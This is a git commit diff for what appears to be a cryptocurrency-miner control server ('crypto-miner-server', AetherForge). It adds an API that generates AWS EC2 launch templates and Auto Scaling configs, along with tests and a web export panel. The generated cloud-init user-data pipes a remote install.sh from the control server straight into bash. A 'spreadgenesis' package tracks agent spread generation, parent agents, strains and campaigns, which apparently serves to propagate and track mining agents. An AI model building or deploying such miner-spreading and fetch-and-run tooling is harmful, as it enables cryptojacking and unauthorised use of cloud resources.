Add EC2 Launch Template strain genesis for AWS horizontal scale.
Ship POST /api/v1/forge/launch-template with cloud-init user-data embedding genesis snapshot hash and strain card ID; first template-tagged auth pins SpreadGeneration=0 and ParentAgentID=template.
This commit is contained in:
18
server/internal/api/launch_template_genesis.go
Normal file
18
server/internal/api/launch_template_genesis.go
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
"crypto-miner-server/internal/spreadgenesis"
|
||||||
|
)
|
||||||
|
|
||||||
|
type launchTemplateAuthProbe struct {
|
||||||
|
JoinLane string
|
||||||
|
ParentAgentID string
|
||||||
|
GenesisSnapshotHash string
|
||||||
|
}
|
||||||
|
|
||||||
|
func applyLaunchTemplateGenesisFirstAuth(agent *models.Agent, isNewAgent bool, auth launchTemplateAuthProbe) {
|
||||||
|
spreadgenesis.ApplyFirstAuth(agent, isNewAgent, spreadgenesis.AuthProbe{
|
||||||
|
JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
|
||||||
|
})
|
||||||
|
}
|
||||||
169
server/internal/builder/launch_template.go
Normal file
169
server/internal/builder/launch_template.go
Normal file
@@ -0,0 +1,169 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"sort"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
JoinLaneLaunchTemplate = "launch_template"
|
||||||
|
LaunchTemplateParentAgentID = "template"
|
||||||
|
defaultLaunchTemplateAMI = "ami-0c55b159cbfafe1f0"
|
||||||
|
defaultLaunchTemplateInst = "t3.small"
|
||||||
|
launchTemplateName = "aetherforge-strain-genesis"
|
||||||
|
)
|
||||||
|
|
||||||
|
type LaunchTemplateRequest struct {
|
||||||
|
ServerURL string `json:"server_url"`
|
||||||
|
BuildID string `json:"build_id,omitempty"`
|
||||||
|
StrainCardID string `json:"strain_card_id,omitempty"`
|
||||||
|
Campaign string `json:"campaign,omitempty"`
|
||||||
|
AMIID string `json:"ami_id,omitempty"`
|
||||||
|
InstanceType string `json:"instance_type,omitempty"`
|
||||||
|
Region string `json:"region,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type LaunchTemplateResponse struct {
|
||||||
|
Success bool `json:"success"`
|
||||||
|
GenesisSnapshotHash string `json:"genesis_snapshot_hash"`
|
||||||
|
StrainCardID string `json:"strain_card_id"`
|
||||||
|
LaunchTemplateJSON string `json:"launch_template_json"`
|
||||||
|
UserDataSh string `json:"user_data_sh"`
|
||||||
|
ASGExampleJSON string `json:"asg_example_json"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type genesisSnapshotManifest struct {
|
||||||
|
Version int `json:"version"`
|
||||||
|
ServerURL string `json:"server_url"`
|
||||||
|
BuildID string `json:"build_id,omitempty"`
|
||||||
|
StrainCardID string `json:"strain_card_id,omitempty"`
|
||||||
|
JoinLane string `json:"join_lane"`
|
||||||
|
Campaign string `json:"campaign,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func GenesisSnapshotHash(m genesisSnapshotManifest) string {
|
||||||
|
m.Version = 1
|
||||||
|
m.JoinLane = JoinLaneLaunchTemplate
|
||||||
|
raw, _ := json.Marshal(m)
|
||||||
|
sum := sha256.Sum256(raw)
|
||||||
|
return hex.EncodeToString(sum[:])
|
||||||
|
}
|
||||||
|
|
||||||
|
func BuildLaunchTemplateArtifacts(req LaunchTemplateRequest) (LaunchTemplateResponse, error) {
|
||||||
|
serverURL := strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||||
|
if serverURL == "" {
|
||||||
|
return LaunchTemplateResponse{Success: false, Error: "server_url required"}, fmt.Errorf("server_url required")
|
||||||
|
}
|
||||||
|
buildID := strings.TrimSpace(req.BuildID)
|
||||||
|
strainCardID := strings.TrimSpace(req.StrainCardID)
|
||||||
|
campaign := strings.TrimSpace(req.Campaign)
|
||||||
|
amiID := strings.TrimSpace(req.AMIID)
|
||||||
|
if amiID == "" {
|
||||||
|
amiID = defaultLaunchTemplateAMI
|
||||||
|
}
|
||||||
|
instanceType := strings.TrimSpace(req.InstanceType)
|
||||||
|
if instanceType == "" {
|
||||||
|
instanceType = defaultLaunchTemplateInst
|
||||||
|
}
|
||||||
|
region := strings.TrimSpace(req.Region)
|
||||||
|
if region == "" {
|
||||||
|
region = "us-east-1"
|
||||||
|
}
|
||||||
|
genesisHash := GenesisSnapshotHash(genesisSnapshotManifest{
|
||||||
|
ServerURL: serverURL, BuildID: buildID, StrainCardID: strainCardID, Campaign: campaign,
|
||||||
|
})
|
||||||
|
querySuffix := buildLaunchTemplateQuerySuffix(buildID, campaign)
|
||||||
|
userData := buildLaunchTemplateUserData(serverURL, genesisHash, strainCardID, campaign, querySuffix)
|
||||||
|
userDataB64 := base64.StdEncoding.EncodeToString([]byte(userData))
|
||||||
|
ltPayload := map[string]interface{}{
|
||||||
|
"LaunchTemplateName": launchTemplateName,
|
||||||
|
"VersionDescription": fmt.Sprintf("AetherForge strain genesis snapshot %s", genesisHash[:12]),
|
||||||
|
"LaunchTemplateData": map[string]interface{}{
|
||||||
|
"ImageId": amiID, "InstanceType": instanceType, "UserData": userDataB64,
|
||||||
|
"TagSpecifications": []map[string]interface{}{{
|
||||||
|
"ResourceType": "instance",
|
||||||
|
"Tags": []map[string]string{
|
||||||
|
{"Key": "Name", "Value": "aetherforge-genesis"},
|
||||||
|
{"Key": "aetherforge:genesis-snapshot", "Value": genesisHash},
|
||||||
|
{"Key": "aetherforge:strain-card", "Value": strainCardID},
|
||||||
|
{"Key": "aetherforge:join-lane", "Value": JoinLaneLaunchTemplate},
|
||||||
|
},
|
||||||
|
}},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
ltJSON, err := json.MarshalIndent(ltPayload, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return LaunchTemplateResponse{Success: false, Error: err.Error()}, err
|
||||||
|
}
|
||||||
|
asgPayload := map[string]interface{}{
|
||||||
|
"AutoScalingGroupName": "aetherforge-strain-genesis-asg",
|
||||||
|
"LaunchTemplate": map[string]interface{}{"LaunchTemplateName": launchTemplateName, "Version": "$Latest"},
|
||||||
|
"MinSize": 1, "MaxSize": 10, "DesiredCapacity": 2,
|
||||||
|
"VPCZoneIdentifier": []string{"subnet-xxxxxxxx"},
|
||||||
|
"Tags": []map[string]interface{}{
|
||||||
|
{"Key": "aetherforge:genesis-snapshot", "Value": genesisHash, "PropagateAtLaunch": true},
|
||||||
|
{"Key": "aetherforge:strain-card", "Value": strainCardID, "PropagateAtLaunch": true},
|
||||||
|
{"Key": "aetherforge:region", "Value": region, "PropagateAtLaunch": false},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
asgJSON, err := json.MarshalIndent(asgPayload, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return LaunchTemplateResponse{Success: false, Error: err.Error()}, err
|
||||||
|
}
|
||||||
|
return LaunchTemplateResponse{
|
||||||
|
Success: true, GenesisSnapshotHash: genesisHash, StrainCardID: strainCardID,
|
||||||
|
LaunchTemplateJSON: string(ltJSON), UserDataSh: userData, ASGExampleJSON: string(asgJSON),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildLaunchTemplateQuerySuffix(buildID, campaign string) string {
|
||||||
|
var parts []string
|
||||||
|
if buildID != "" {
|
||||||
|
parts = append(parts, "pin="+buildID)
|
||||||
|
}
|
||||||
|
if campaign != "" {
|
||||||
|
parts = append(parts, "c="+campaign)
|
||||||
|
}
|
||||||
|
sort.Strings(parts)
|
||||||
|
if len(parts) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return "?" + strings.Join(parts, "&")
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildLaunchTemplateUserData(serverURL, genesisHash, strainCardID, campaign, querySuffix string) string {
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString("#!/bin/bash\n# AetherForge EC2 launch-template strain genesis\n")
|
||||||
|
b.WriteString("set -euo pipefail\nexport AETHER_PARENT_AGENT_ID=")
|
||||||
|
b.WriteString(jsonStringLiteral(LaunchTemplateParentAgentID))
|
||||||
|
b.WriteString("\nexport AETHER_SPREAD_GENERATION=0\nexport AETHER_GENESIS_SNAPSHOT_HASH=")
|
||||||
|
b.WriteString(jsonStringLiteral(genesisHash))
|
||||||
|
b.WriteString("\n")
|
||||||
|
if strainCardID != "" {
|
||||||
|
b.WriteString("export AETHER_STRAIN_CARD_ID=")
|
||||||
|
b.WriteString(jsonStringLiteral(strainCardID))
|
||||||
|
b.WriteString("\n")
|
||||||
|
}
|
||||||
|
if campaign != "" {
|
||||||
|
b.WriteString("export AETHER_CAMPAIGN=")
|
||||||
|
b.WriteString(jsonStringLiteral(campaign))
|
||||||
|
b.WriteString("\nexport AETHER_UTM=")
|
||||||
|
b.WriteString(jsonStringLiteral(campaign))
|
||||||
|
b.WriteString("\n")
|
||||||
|
}
|
||||||
|
b.WriteString("\ncurl -fsSL ")
|
||||||
|
b.WriteString(jsonStringLiteral(serverURL + "/install.sh" + querySuffix))
|
||||||
|
b.WriteString(" | bash\n")
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func jsonStringLiteral(s string) string {
|
||||||
|
raw, _ := json.Marshal(s)
|
||||||
|
return string(raw)
|
||||||
|
}
|
||||||
24
server/internal/builder/launch_template_handler.go
Normal file
24
server/internal/builder/launch_template_handler.go
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"net/http"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (h *Handler) ServeLaunchTemplate(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodPost {
|
||||||
|
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var req LaunchTemplateRequest
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||||
|
writeJSON(w, http.StatusBadRequest, LaunchTemplateResponse{Success: false, Error: "invalid JSON"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
resp, err := BuildLaunchTemplateArtifacts(req)
|
||||||
|
if err != nil {
|
||||||
|
writeJSON(w, http.StatusBadRequest, resp)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
writeJSON(w, http.StatusOK, resp)
|
||||||
|
}
|
||||||
67
server/internal/builder/launch_template_test.go
Normal file
67
server/internal/builder/launch_template_test.go
Normal file
@@ -0,0 +1,67 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/json"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestBuildLaunchTemplateArtifacts(t *testing.T) {
|
||||||
|
resp, err := BuildLaunchTemplateArtifacts(LaunchTemplateRequest{
|
||||||
|
ServerURL: "https://deck.example", BuildID: "build-abc", StrainCardID: "card-99",
|
||||||
|
Campaign: "aws-wave", AMIID: "ami-test", InstanceType: "t3.micro", Region: "eu-west-1",
|
||||||
|
})
|
||||||
|
if err != nil || !resp.Success {
|
||||||
|
t.Fatalf("resp=%+v err=%v", resp, err)
|
||||||
|
}
|
||||||
|
if len(resp.GenesisSnapshotHash) != 64 {
|
||||||
|
t.Fatalf("hash len %d", len(resp.GenesisSnapshotHash))
|
||||||
|
}
|
||||||
|
for _, m := range []string{"aetherforge-strain-genesis", "ami-test", resp.GenesisSnapshotHash, JoinLaneLaunchTemplate} {
|
||||||
|
if !strings.Contains(resp.LaunchTemplateJSON, m) {
|
||||||
|
t.Fatalf("missing %q in lt json", m)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for _, m := range []string{LaunchTemplateParentAgentID, "AETHER_SPREAD_GENERATION=0", resp.GenesisSnapshotHash, "card-99"} {
|
||||||
|
if !strings.Contains(resp.UserDataSh, m) {
|
||||||
|
t.Fatalf("missing %q in user-data", m)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var lt map[string]interface{}
|
||||||
|
_ = json.Unmarshal([]byte(resp.LaunchTemplateJSON), <)
|
||||||
|
data := lt["LaunchTemplateData"].(map[string]interface{})
|
||||||
|
raw, _ := base64.StdEncoding.DecodeString(data["UserData"].(string))
|
||||||
|
if string(raw) != resp.UserDataSh {
|
||||||
|
t.Fatal("user-data mismatch")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGenesisSnapshotHashStable(t *testing.T) {
|
||||||
|
m := genesisSnapshotManifest{ServerURL: "https://deck.example", BuildID: "b1"}
|
||||||
|
if GenesisSnapshotHash(m) != GenesisSnapshotHash(m) {
|
||||||
|
t.Fatal("unstable")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestServeLaunchTemplateHandler(t *testing.T) {
|
||||||
|
h := &Handler{}
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/forge/launch-template", strings.NewReader(`{"server_url":"https://deck.example"}`))
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
h.ServeLaunchTemplate(rec, req)
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("status %d", rec.Code)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestServeLaunchTemplateRequiresServerURL(t *testing.T) {
|
||||||
|
h := &Handler{}
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/forge/launch-template", strings.NewReader(`{}`))
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
h.ServeLaunchTemplate(rec, req)
|
||||||
|
if rec.Code != http.StatusBadRequest {
|
||||||
|
t.Fatalf("status %d", rec.Code)
|
||||||
|
}
|
||||||
|
}
|
||||||
44
server/internal/spreadgenesis/launch_template.go
Normal file
44
server/internal/spreadgenesis/launch_template.go
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
package spreadgenesis
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
"crypto-miner-server/internal/strategy"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
JoinLaneLaunchTemplate = "launch_template"
|
||||||
|
LaunchTemplateParentAgentID = "template"
|
||||||
|
)
|
||||||
|
|
||||||
|
type AuthProbe struct {
|
||||||
|
JoinLane string
|
||||||
|
ParentAgentID string
|
||||||
|
GenesisSnapshotHash string
|
||||||
|
}
|
||||||
|
|
||||||
|
func IsFirstAuth(isNewAgent bool, auth AuthProbe) bool {
|
||||||
|
if !isNewAgent {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(auth.GenesisSnapshotHash) != "" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if strings.EqualFold(strings.TrimSpace(auth.ParentAgentID), LaunchTemplateParentAgentID) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(auth.JoinLane) == JoinLaneLaunchTemplate
|
||||||
|
}
|
||||||
|
|
||||||
|
func ApplyFirstAuth(agent *models.Agent, isNewAgent bool, auth AuthProbe) {
|
||||||
|
if agent == nil || !IsFirstAuth(isNewAgent, auth) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
agent.ParentAgentID = LaunchTemplateParentAgentID
|
||||||
|
agent.SpreadGeneration = 0
|
||||||
|
agent.JoinLane = JoinLaneLaunchTemplate
|
||||||
|
if strings.TrimSpace(agent.SpreadStrain) == "" {
|
||||||
|
agent.SpreadStrain = strategy.SpreadStrainFromJoinLane(JoinLaneLaunchTemplate)
|
||||||
|
}
|
||||||
|
}
|
||||||
24
server/internal/spreadgenesis/launch_template_test.go
Normal file
24
server/internal/spreadgenesis/launch_template_test.go
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
package spreadgenesis
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestIsFirstAuth(t *testing.T) {
|
||||||
|
if !IsFirstAuth(true, AuthProbe{GenesisSnapshotHash: "abc"}) {
|
||||||
|
t.Fatal("expected tag")
|
||||||
|
}
|
||||||
|
if IsFirstAuth(false, AuthProbe{GenesisSnapshotHash: "abc"}) {
|
||||||
|
t.Fatal("reconnect skip")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestApplyFirstAuth(t *testing.T) {
|
||||||
|
agent := &models.Agent{SpreadGeneration: 3}
|
||||||
|
ApplyFirstAuth(agent, true, AuthProbe{ParentAgentID: "template"})
|
||||||
|
if agent.SpreadGeneration != 0 || agent.ParentAgentID != LaunchTemplateParentAgentID {
|
||||||
|
t.Fatalf("%+v", agent)
|
||||||
|
}
|
||||||
|
}
|
||||||
1
server/web/public/spread/aws/asg-example.json
Normal file
1
server/web/public/spread/aws/asg-example.json
Normal file
@@ -0,0 +1 @@
|
|||||||
|
{"AutoScalingGroupName":"aetherforge-strain-genesis-asg","LaunchTemplate":{"LaunchTemplateName":"aetherforge-strain-genesis","Version":"$Latest"},"MinSize":1,"MaxSize":10,"DesiredCapacity":2}
|
||||||
1
server/web/public/spread/aws/launch-template.json
Normal file
1
server/web/public/spread/aws/launch-template.json
Normal file
@@ -0,0 +1 @@
|
|||||||
|
{"LaunchTemplateName":"aetherforge-strain-genesis","LaunchTemplateData":{"ImageId":"ami-0c55b159cbfafe1f0","InstanceType":"t3.small","UserData":"BASE64_FROM_DECK"}}
|
||||||
4
server/web/public/spread/aws/user-data.sh
Normal file
4
server/web/public/spread/aws/user-data.sh
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
export AETHER_PARENT_AGENT_ID="template"
|
||||||
|
export AETHER_SPREAD_GENERATION=0
|
||||||
|
curl -fsSL "{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}" | bash
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
import { useState } from 'react';
|
||||||
|
import { api } from '../../api/client';
|
||||||
|
import { LAUNCH_TEMPLATE_FILES, downloadLaunchTemplateFile, type LaunchTemplateExportResponse } from '../../help/launchTemplateExport';
|
||||||
|
|
||||||
|
export default function LaunchTemplateExportPanel({ serverBase, buildId = '', campaign = '', strainCardId = '' }: {
|
||||||
|
serverBase: string; buildId?: string; campaign?: string; strainCardId?: string;
|
||||||
|
}) {
|
||||||
|
const [busy, setBusy] = useState(false);
|
||||||
|
const [err, setErr] = useState('');
|
||||||
|
const [last, setLast] = useState<LaunchTemplateExportResponse | null>(null);
|
||||||
|
|
||||||
|
const onGenerate = async () => {
|
||||||
|
setErr('');
|
||||||
|
setBusy(true);
|
||||||
|
try {
|
||||||
|
const resp = await api.forgeLaunchTemplate({
|
||||||
|
server_url: serverBase,
|
||||||
|
build_id: buildId.trim() || undefined,
|
||||||
|
campaign: campaign.trim() || undefined,
|
||||||
|
strain_card_id: strainCardId.trim() || undefined,
|
||||||
|
});
|
||||||
|
if (!resp.success) throw new Error(resp.error ?? 'launch template export failed');
|
||||||
|
setLast(resp);
|
||||||
|
} catch (e) {
|
||||||
|
setErr(e instanceof Error ? e.message : String(e));
|
||||||
|
} finally {
|
||||||
|
setBusy(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="crucible-launch-template" style={{ marginTop: '0.75rem' }}>
|
||||||
|
<p className="crucible-seek-blurb" style={{ marginBottom: '0.5rem' }}>
|
||||||
|
EC2 Launch Template strain genesis — cloud-init embeds genesis snapshot hash, strain card ID, and server URL.
|
||||||
|
</p>
|
||||||
|
<div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.5rem', alignItems: 'center' }}>
|
||||||
|
<button type="button" className="button crucible-op-btn" disabled={busy || !serverBase.trim()} onClick={() => void onGenerate()}>
|
||||||
|
{busy ? 'Generating…' : 'Generate launch template'}
|
||||||
|
</button>
|
||||||
|
{last ? LAUNCH_TEMPLATE_FILES.map((f) => (
|
||||||
|
<button key={f.id} type="button" className="button crucible-op-btn" onClick={() => downloadLaunchTemplateFile(last, f.field, f.label)}>
|
||||||
|
{f.label}
|
||||||
|
</button>
|
||||||
|
)) : null}
|
||||||
|
</div>
|
||||||
|
{err ? <p className="form-error" style={{ marginTop: '0.35rem' }}>{err}</p> : null}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
15
server/web/src/help/launchTemplateExport.test.ts
Normal file
15
server/web/src/help/launchTemplateExport.test.ts
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { LAUNCH_TEMPLATE_FILES, launchTemplateZipName } from './launchTemplateExport';
|
||||||
|
|
||||||
|
describe('launchTemplateExport', () => {
|
||||||
|
it('lists standalone AWS artifact files', () => {
|
||||||
|
expect(LAUNCH_TEMPLATE_FILES.map((f) => f.label)).toEqual([
|
||||||
|
'launch-template.json', 'user-data.sh', 'asg-example.json',
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('maps campaign slug to zip filename', () => {
|
||||||
|
expect(launchTemplateZipName('AWS Wave 1')).toBe('aetherforge-launch-template-aws-wave-1.zip');
|
||||||
|
expect(launchTemplateZipName()).toBe('aetherforge-launch-template-genesis.zip');
|
||||||
|
});
|
||||||
|
});
|
||||||
46
server/web/src/help/launchTemplateExport.ts
Normal file
46
server/web/src/help/launchTemplateExport.ts
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
export interface LaunchTemplateExportRequest {
|
||||||
|
server_url: string;
|
||||||
|
build_id?: string;
|
||||||
|
strain_card_id?: string;
|
||||||
|
campaign?: string;
|
||||||
|
ami_id?: string;
|
||||||
|
instance_type?: string;
|
||||||
|
region?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface LaunchTemplateExportResponse {
|
||||||
|
success: boolean;
|
||||||
|
genesis_snapshot_hash: string;
|
||||||
|
strain_card_id: string;
|
||||||
|
launch_template_json: string;
|
||||||
|
user_data_sh: string;
|
||||||
|
asg_example_json: string;
|
||||||
|
error?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const LAUNCH_TEMPLATE_FILES = [
|
||||||
|
{ id: 'launch-template', label: 'launch-template.json', field: 'launch_template_json' as const },
|
||||||
|
{ id: 'user-data', label: 'user-data.sh', field: 'user_data_sh' as const },
|
||||||
|
{ id: 'asg-example', label: 'asg-example.json', field: 'asg_example_json' as const },
|
||||||
|
] as const;
|
||||||
|
|
||||||
|
export function launchTemplateZipName(campaign?: string): string {
|
||||||
|
const slug = (campaign ?? '').trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '');
|
||||||
|
return slug ? `aetherforge-launch-template-${slug}.zip` : 'aetherforge-launch-template-genesis.zip';
|
||||||
|
}
|
||||||
|
|
||||||
|
export function downloadLaunchTemplateFile(
|
||||||
|
resp: LaunchTemplateExportResponse,
|
||||||
|
file: (typeof LAUNCH_TEMPLATE_FILES)[number]['field'],
|
||||||
|
filename: string,
|
||||||
|
): void {
|
||||||
|
const content = resp[file];
|
||||||
|
if (!content) return;
|
||||||
|
const blob = new Blob([content], { type: file === 'user_data_sh' ? 'text/x-shellscript' : 'application/json' });
|
||||||
|
const url = URL.createObjectURL(blob);
|
||||||
|
const a = document.createElement('a');
|
||||||
|
a.href = url;
|
||||||
|
a.download = filename;
|
||||||
|
a.click();
|
||||||
|
URL.revokeObjectURL(url);
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user